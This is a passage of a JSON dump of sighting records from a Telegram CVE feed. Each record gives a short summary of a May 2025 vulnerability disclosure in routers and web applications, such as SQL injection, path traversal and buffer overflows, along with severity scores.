\"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T19:44:03.000000Z"}, {"uuid": "a719324d-a17a-4386-873a-59fdbb247e40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45779", "type": "seen", "source": "https://t.me/cvedetector/25103", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45779 - Tenda AC10 Unauthenticated Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2025-45779 \nPublished : May 12, 2025, 5:15 p.m. | 1\u00a0hour, 13\u00a0minutes ago \nDescription : Tenda AC10 V1.0re_V15.03.06.46 is vulnerable to Buffer Overflow in the formSetPPTPUserList handler via the list POST parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T21:08:09.000000Z"}, {"uuid": "74266893-e8f8-4684-8fc1-d114e237814e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45858", "type": "seen", "source": "https://t.me/cvedetector/25207", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45858 - TOTOLINK A3002R Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45858 \nPublished : May 13, 2025, 4:15 p.m. | 59\u00a0minutes ago \nDescription : TOTOLINK A3002R v4.0.0-B20230531.1404 was discovered to contain a command injection vulnerability via the FUN_00459fdc function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T19:43:49.000000Z"}, {"uuid": "a2914b44-08f2-4073-898d-d05081175d57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45857", "type": "seen", "source": "https://t.me/cvedetector/25206", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45857 - Edimax CV7428NS Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45857 \nPublished : May 13, 2025, 4:15 p.m. | 59\u00a0minutes ago \nDescription : EDIMAX CV7428NS v1.20 was discovered to contain a remote code execution (RCE) vulnerability via the command parameter in the mp function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T19:43:48.000000Z"}, {"uuid": "46a1085d-9f8a-4088-b88e-280b9e0e746f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4511", "type": "seen", "source": "https://t.me/cvedetector/25025", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4511 - Vector4Wang Spring-Boot-Quick Remote Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4511 \nPublished : May 10, 2025, 7:15 p.m. | 1\u00a0hour, 38\u00a0minutes ago \nDescription : A vulnerability was found in vector4wang spring-boot-quick up to 20250422. It has been rated as critical. This issue affects the function ResponseEntity of the file /spring-boot-quick-master/quick-img2txt/src/main/java/com/quick/controller/Img2TxtController.java of the component quick-img2txt. The manipulation leads to path traversal. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T23:08:35.000000Z"}, {"uuid": "ba7cca60-d08a-422e-b8a5-888ba2da028a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4512", "type": "seen", "source": "https://t.me/cvedetector/25024", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4512 - Inetum IODAS Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4512 \nPublished : May 10, 2025, 7:15 p.m. | 1\u00a0hour, 38\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in Inetum IODAS 7.2-LTS.4.1-JDK7/7.2-RC3.2-JDK7. Affected is an unknown function of the file /astre/iodasweb/app.jsp. The manipulation of the argument action leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T23:08:34.000000Z"}, {"uuid": "140379c1-b2ee-42ce-bdf2-32b8e140828f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4513", "type": "seen", "source": "https://t.me/cvedetector/25023", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4513 - Moodle Catalyst User Key Authentication Plugin Open Redirect Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4513 \nPublished : May 10, 2025, 8:15 p.m. | 39\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in Catalyst User Key Authentication Plugin 20220819 on Moodle. Affected by this vulnerability is an unknown functionality of the file /auth/userkey/logout.php of the component Logout. The manipulation of the argument return leads to open redirect. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T23:08:34.000000Z"}, {"uuid": "6b406969-b6d1-469a-874e-a7ff8b45639e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4514", "type": "seen", "source": "https://t.me/cvedetector/25022", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4514 - Zhengzhou Jiuhua Electronic Technology mayicms SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4514 \nPublished : May 10, 2025, 8:15 p.m. | 39\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in Zhengzhou Jiuhua Electronic Technology mayicms up to 5.8E. Affected by this issue is some unknown functionality of the file /javascript.php. The manipulation of the argument Value leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T23:08:33.000000Z"}, {"uuid": "4878b796-8708-4e0f-ba68-a5784936f7fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4549", "type": "seen", "source": "https://t.me/cvedetector/25057", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4549 - Campcodes Online Food Ordering System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4549 \nPublished : May 11, 2025, 10:15 p.m. | 1\u00a0hour, 32\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in Campcodes Online Food Ordering System 1.0. This vulnerability affects unknown code of the file /routers/register-router.php. The manipulation of the argument Name leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T01:53:54.000000Z"}, {"uuid": "dece95a3-51b2-4c66-82aa-d61c0922f7f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4508", "type": "seen", "source": "https://t.me/cvedetector/25020", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4508 - PHPGurukul e-Diary Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4508 \nPublished : May 10, 2025, 5:15 p.m. | 1\u00a0hour, 38\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in PHPGurukul e-Diary Management System 1.0. This vulnerability affects unknown code of the file /my-profile.php. The manipulation of the argument fname leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T21:28:14.000000Z"}, {"uuid": "1729a7bd-8406-46dc-b216-a90ba8fcbcd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4509", "type": "seen", "source": "https://t.me/cvedetector/25019", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4509 - PHPGurukul e-Diary Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-4509 \nPublished : May 10, 2025, 6:15 p.m. | 39\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in PHPGurukul e-Diary Management System 1.0. This issue affects some unknown processing of the file /manage-notes.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-10T21:28:13.000000Z"}, {"uuid": "1d1a5553-4fde-4a60-9f88-a276e06f521c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4556", "type": "seen", "source": "https://t.me/cvedetector/25062", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4556 - Okcat Parking Management Platform ZONG YU Remote Code Execution (RCE)\", \n  \"Content\": \"CVE ID : CVE-2025-4556 \nPublished : May 12, 2025, 3:15 a.m. | 47\u00a0minutes ago \nDescription : The web management interface of Okcat Parking Management Platform from ZONG YU has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T06:04:43.000000Z"}, {"uuid": "4f83bd3e-6ffe-4c98-ae86-1aee45372ef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4550", "type": "seen", "source": "https://t.me/cvedetector/25055", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4550 - PHPGurukul Apartment Visitors Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4550 \nPublished : May 11, 2025, 11:15 p.m. | 31\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in PHPGurukul Apartment Visitors Management System 1.0. This issue affects some unknown processing of the file /admin/pass-details.php. The manipulation of the argument pid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T01:53:52.000000Z"}, {"uuid": "946bb2b7-8cdb-4fb0-9f85-897411a76af8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4545", "type": "seen", "source": "https://t.me/cvedetector/25054", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4545 - CTCMS File Handler Remote Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4545 \nPublished : May 11, 2025, 8:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A vulnerability was found in CTCMS Content Management System 2.1.2. It has been classified as critical. Affected is the function del of the file ctcms\\apps\\controllers\\admin\\Tpl.php of the component File Handler. The manipulation of the argument File leads to path traversal. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T00:13:32.000000Z"}, {"uuid": "7db49bb9-e208-4c09-9479-e891dd7e189d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4546", "type": "seen", "source": "https://t.me/cvedetector/25053", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4546 - 1Panel-dev MaxKB CSV Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4546 \nPublished : May 11, 2025, 8:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A vulnerability was found in 1Panel-dev MaxKB up to 1.10.7. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Knowledge Base Module. The manipulation leads to csv injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.10.8 is able to address this issue. It is recommended to upgrade the affected component. The vendor was contacted early about this disclosure. \nSeverity: 4.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T00:13:31.000000Z"}, {"uuid": "1021f18f-0598-4a2c-b8a7-3b6360f9ab5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4547", "type": "seen", "source": "https://t.me/cvedetector/25052", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4547 - SourceCodester Web-based Pharmacy Product Management System Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4547 \nPublished : May 11, 2025, 9:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability was found in SourceCodester Web-based Pharmacy Product Management System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the component Add User Page. The manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Multiple parameters might be affected. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T00:13:31.000000Z"}, {"uuid": "9405cf7c-fcaf-44ab-b8a2-6fff5fdb497b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4543", "type": "seen", "source": "https://t.me/cvedetector/25051", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4543 - \"LyLme Spage SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2025-4543 \nPublished : May 11, 2025, 6:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in LyLme Spage 2.1. This affects an unknown part of the file lylme_spage/blob/master/admin/ajax_link.php. The manipulation of the argument sort leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T21:43:01.000000Z"}, {"uuid": "1f2c3522-6e54-4233-823f-b78e78fbec48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4542", "type": "seen", "source": "https://t.me/cvedetector/25050", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4542 - Freeebird Hotel Cross-Domain Policy Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4542 \nPublished : May 11, 2025, 6:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in Freeebird Hotel \u9152\u5e97\u7ba1\u7406\u7cfb\u7edf API up to 1.2. Affected by this issue is some unknown functionality of the file /src/main/java/cn/mafangui/hotel/tool/SessionInterceptor.java. The manipulation leads to permissive cross-domain policy with untrusted domains. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T21:43:00.000000Z"}, {"uuid": "9df2cbb6-fdd3-45be-a8c6-f59416d4a38b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4544", "type": "seen", "source": "https://t.me/cvedetector/25049", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4544 - D-Link DI-8100 Jhttpd Stack-Based Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4544 \nPublished : May 11, 2025, 7:15 p.m. | 24\u00a0minutes ago \nDescription : A vulnerability was found in D-Link DI-8100 up to 16.07.26A1 and classified as critical. This issue affects some unknown processing of the file /ddos.asp of the component jhttpd. The manipulation of the argument def_max/def_time/def_tcp_max/def_tcp_time/def_udp_max/def_udp_time/def_icmp_max leads to stack-based buffer overflow. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T21:42:59.000000Z"}, {"uuid": "c854b661-389e-44a5-8d1c-f0c261e64390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4539", "type": "seen", "source": "https://t.me/cvedetector/25045", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4539 - Hainan ToDesk DLL File Parser Uncontrolled Search Path Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4539 \nPublished : May 11, 2025, 11:15 a.m. | 2\u00a0hours, 11\u00a0minutes ago \nDescription : A vulnerability was found in Hainan ToDesk 4.7.6.3. It has been declared as critical. This vulnerability affects unknown code in the library profapi.dll of the component DLL File Parser. The manipulation leads to uncontrolled search path. It is possible to launch the attack on the local host. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 7.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T15:51:44.000000Z"}, {"uuid": "5f07c3dd-dc77-4ce9-8419-5d090e99d43c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4536", "type": "seen", "source": "https://t.me/cvedetector/25044", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4536 - Gosuncn Technology Group Audio-Visual Integrated Management Platform Remote Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-4536 \nPublished : May 11, 2025, 9:15 a.m. | 2\u00a0hours, 9\u00a0minutes ago \nDescription : A vulnerability has been found in Gosuncn Technology Group Audio-Visual Integrated Management Platform 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /sysmgr/user/listByPage. The manipulation leads to information disclosure. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T14:11:27.000000Z"}, {"uuid": "ab68b806-b0de-42b2-ae19-67f292381a88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4535", "type": "seen", "source": "https://t.me/cvedetector/25040", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4535 - Gosuncn Technology Group Audio-Visual Integrated Management Platform Remote Configuration File Handler Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-4535 \nPublished : May 11, 2025, 8:15 a.m. | 1\u00a0hour, 6\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in Gosuncn Technology Group Audio-Visual Integrated Management Platform 4.0. Affected is an unknown function of the file /config/config.properties of the component Configuration File Handler. The manipulation leads to information disclosure. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T11:40:54.000000Z"}, {"uuid": "7cc5fa69-637f-4b62-9393-5a643b037233", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4530", "type": "seen", "source": "https://t.me/cvedetector/25039", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4530 - Feng Ha Ha Megagao SSM-ERP/Production SSM Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4530 \nPublished : May 11, 2025, 5:15 a.m. | 2\u00a0hours ago \nDescription : A vulnerability was found in feng_ha_ha/megagao ssm-erp and production_ssm 1.0. It has been declared as problematic. Affected by this vulnerability is the function handleFileDownload of the file FileController.java of the component File Handler. The manipulation leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product is distributed under two entirely different names. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T10:00:39.000000Z"}, {"uuid": "b78bdc37-6cfd-4805-b951-71d69dcdff56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4531", "type": "seen", "source": "https://t.me/cvedetector/25038", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4531 - Seeyon Zhiyuan OA Web Application System Remote Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4531 \nPublished : May 11, 2025, 6:15 a.m. | 1\u00a0hour ago \nDescription : A vulnerability was found in Seeyon Zhiyuan OA Web Application System 8.1 SP2. It has been rated as critical. Affected by this issue is the function postData of the file ROOT\\WEB-INF\\classes\\com\\ours\\www\\ehr\\salary\\service\\data\\EhrSalaryPayrollServiceImpl.class of the component Beetl Template Handler. The manipulation of the argument payrollId leads to code injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T10:00:38.000000Z"}, {"uuid": "667001ed-280c-436d-b2c4-55d92210b22d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4532", "type": "seen", "source": "https://t.me/cvedetector/25037", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4532 - Shanghai Bairui Information Technology SunloginClient DLL Search Path Vulnerability (Uncontrolled Search Path)\", \n  \"Content\": \"CVE ID : CVE-2025-4532 \nPublished : May 11, 2025, 6:15 a.m. | 1\u00a0hour ago \nDescription : A vulnerability classified as critical has been found in Shanghai Bairui Information Technology SunloginClient 15.8.3.19819. This affects an unknown part in the library process.dll of the file sunlogin_guard.exe. The manipulation leads to uncontrolled search path. Local access is required to approach this attack. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 7.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T10:00:38.000000Z"}, {"uuid": "598fa7a5-67c9-41d9-b0a1-ae98aa94251b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4528", "type": "seen", "source": "https://t.me/cvedetector/25035", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4528 - D\u00edgitro NGC Explorer Remote Session Expiration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4528 \nPublished : May 11, 2025, 3:15 a.m. | 2\u00a0hours ago \nDescription : A vulnerability was found in D\u00edgitro NGC Explorer up to 3.44.15 and classified as problematic. This issue affects some unknown processing. The manipulation leads to session expiration. The attack may be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T07:30:07.000000Z"}, {"uuid": "b76398c4-edb2-4652-bac3-8ccbdf2b2298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4559", "type": "seen", "source": "https://t.me/cvedetector/25069", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4559 - Netvision ISOinsight SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-4559 \nPublished : May 12, 